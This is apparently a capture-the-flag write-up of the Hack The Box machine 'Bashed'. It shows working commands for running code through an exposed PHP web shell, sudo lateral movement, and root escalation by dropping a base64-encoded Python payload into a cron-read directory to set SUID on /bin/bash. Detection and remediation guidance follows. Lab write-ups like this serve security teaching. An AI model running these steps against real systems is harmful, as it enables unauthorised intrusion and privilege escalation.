Skip to content
Back to all posts

HTB: Bashed

· 14 min easy Linux Bashed

A developer leaves a PHP web shell in a publicly accessible directory, then compounds the mistake with a sudo misconfiguration and a root cron job reading from a user-writable directory. Three independent failures chain into full system compromise.

Overview

Bashed is a box about development hygiene. The target runs Apache on Ubuntu 16.04, and the site’s index page openly describes phpbash, a web-based shell the developer built and tested on this very server. The shell is still in /dev/, accessible to anyone. From there, a sudo misconfiguration allows lateral movement to a second user account, which owns a directory that a root cron job reads Python scripts from. Three separate failures, each individually fixable in minutes, chain into root access.

The broader lesson: attack chains don’t require sophisticated exploits. Three misconfigurations, each rated “medium” in isolation, combine into a critical path. Defenders who assess risks individually miss the compounding effect.

Reconnaissance

I start with a service-version scan:

nmap -sC -sV -oA scans/bashed 10.129.15.29
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)“Arrexel’s Development Site”
10000UnknownFilteredWebmin (unreachable externally)

Port 80 serves a site titled “Arrexel’s Development Site”. The index page contains a blog post describing phpbash and links to its GitHub repository. The developer states the tool was “developed on this exact server.”

Port 10000 is filtered from external connections. Webmin runs there but is only reachable from the box itself.

Attack Surface Analysis

Directory discovery

I run feroxbuster against port 80:

feroxbuster -u http://10.129.15.29 -w /usr/share/seclists/Discovery/Web-Content/common.txt
200 GET  /
200 GET  /about.html
200 GET  /contact.html
301 GET  /dev/
301 GET  /uploads/
301 GET  /php/

The /dev/ directory returns a listing (Apache Options +Indexes). Two files are visible:

phpbash.php
phpbash.min.php

This is not a hidden backdoor. The developer openly documented its existence on the index page, and the directory listing makes it trivially discoverable. The box simulates a developer who forgot to clean up their test environment.

phpbash functionality

Navigating to http://10.129.15.29/dev/phpbash.php presents a browser-based terminal. Commands are sent via POST with the cmd parameter and run via PHP’s shell_exec(). The shell runs as www-data. No authentication required.

AttributeValue
CWECWE-552 (Files Accessible to External Parties)
CVSS v39.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeDevelopment artefact left in production web root
MITRE ATT&CKT1505.003 (Web Shell)

Vulnerability Analysis

The attack chain involves three independent misconfigurations:

1. Exposed web shell (CWE-552). phpbash.php provides unauthenticated command running as www-data. The developer created it for testing and never removed it. Apache directory listing on /dev/ makes it discoverable without brute-forcing.

2. Overly permissive sudo (CWE-269). www-data can run any command as scriptmanager without a password:

(scriptmanager : scriptmanager) NOPASSWD: ALL

This grants full lateral movement to the scriptmanager account.

3. Root cron running user-writable scripts (CWE-732). A root cron job runs every minute and processes all Python scripts in /scripts/, a directory owned by scriptmanager. Any user who can write to /scripts/ can escalate to root.

Exploitation

Initial access via phpbash

Direct access to the web shell provides command running as www-data:

curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

The user flag is world-readable:

curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=cat /home/arrexel/user.txt"
# [redacted]

Lateral movement to scriptmanager

curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=sudo -l"
User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Checking the /scripts/ directory as scriptmanager:

sudo -u scriptmanager ls -la /scripts/
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 .
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Apr  4 06:01 test.txt

test.txt is owned by root with a recent modification timestamp. test.py writes to test.txt. Root is processing Python scripts from this directory on a schedule.

Privilege escalation via cron

I write a malicious Python script that sets the SUID bit on /bin/bash. The base64 encoding avoids shell quoting issues through the web shell:

echo "aW1wb3J0IG9zCm9zLnN5c3RlbSgiY2htb2QgdStzIC9iaW4vYmFzaCIpCg==" | \
  base64 -d | sudo -u scriptmanager tee /scripts/evil.py

After approximately 60 seconds, the cron job fires and sets the SUID bit:

ls -la /bin/bash
# -rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash

/bin/bash -p -c 'cat /root/root.txt'
# [redacted]

The -p flag preserves the elevated effective UID. Without it, bash drops the SUID privilege on startup as a security measure.

Post-Exploitation

id
# uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)

uname -a
# Linux bashed 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux

The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0. Webmin 1.580 on port 10000 is accessible from localhost and is vulnerable to CVE-2012-2982 (authenticated RCE), representing an alternative escalation path if credentials were available.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1505.003Web server logs showing POST requests to /dev/phpbash.php
Running commandsT1059.004Process monitoring: sh spawned by Apache/PHP
Privilege esc.T1548.003sudo audit logs showing www-data running commands as scriptmanager
Privilege esc.T1053.003File integrity monitoring on /scripts/ detecting new .py files
PersistenceT1548.001File integrity monitoring detecting SUID bit change on /bin/bash

Web server logs: POST requests to /dev/phpbash.php with a cmd parameter are unambiguous indicators of web shell activity. Any WAF or log analysis tool should flag this pattern.

Process tree anomalies: Apache spawning /bin/sh or /bin/bash is abnormal in most environments. Process monitoring tools (auditd, Sysmon for Linux) can alert on this parent-child relationship.

File integrity monitoring: Tools like AIDE or OSSEC monitoring /scripts/ would detect the creation of evil.py. Monitoring SUID bit changes on system binaries is a standard hardening practice that would catch the final escalation step.

Remediation

PriorityActionEffortImpact
P0Remove phpbash.php and phpbash.min.php from /dev/LowCritical
P0Disable Apache directory listing (Options -Indexes)LowCritical
P1Scope sudo entry to specific commands, not ALLLowHigh
P1Move root cron scripts to a root-owned directory (755)LowHigh
P2Remove or upgrade Webmin (1.580 is vulnerable)LowMedium
P2Isolate development environments from productionMediumMedium
P3Audit all cron jobs for privilege escalation pathsLowMedium

The common thread across these findings is a failure to apply least privilege. The web shell exists because development and production were not separated. The sudo entry is ALL when it should be scoped. The cron job runs as root against a directory writable by a non-root user. Each fix is trivial individually; the real remediation is adopting least privilege as a design principle rather than an afterthought.

Key Takeaways

  1. Read the application before reaching for tools. The index page explicitly stated phpbash was tested on this server. Directory enumeration confirmed it, but reading the page would have made feroxbuster optional. Attackers who read application content before brute-forcing paths are faster and quieter.

  2. sudo to a non-root user is still a privilege escalation building block. Dismissing sudo -u otheruser NOPASSWD: ALL because it doesn’t grant root directly is a mistake. The question is always: what can that other user do? Here, scriptmanager owned a directory that root’s cron read from, creating a two-hop path to root.

  3. Root cron identification without crontab access. Root’s crontab is not readable by other users. But its effects are visible: files owned by root with recent modification timestamps in directories owned by other users are a strong indicator. Watching test.txt update every 60 seconds is empirical proof without ever reading /var/spool/cron/root.

  4. Base64 encoding bypasses shell quoting in web shell file writes. When writing code through a web shell, quotes and backticks in the payload conflict with the web shell’s own command parsing. Encode the entire payload, pipe through base64 -d, and pipe to tee. No escaping required.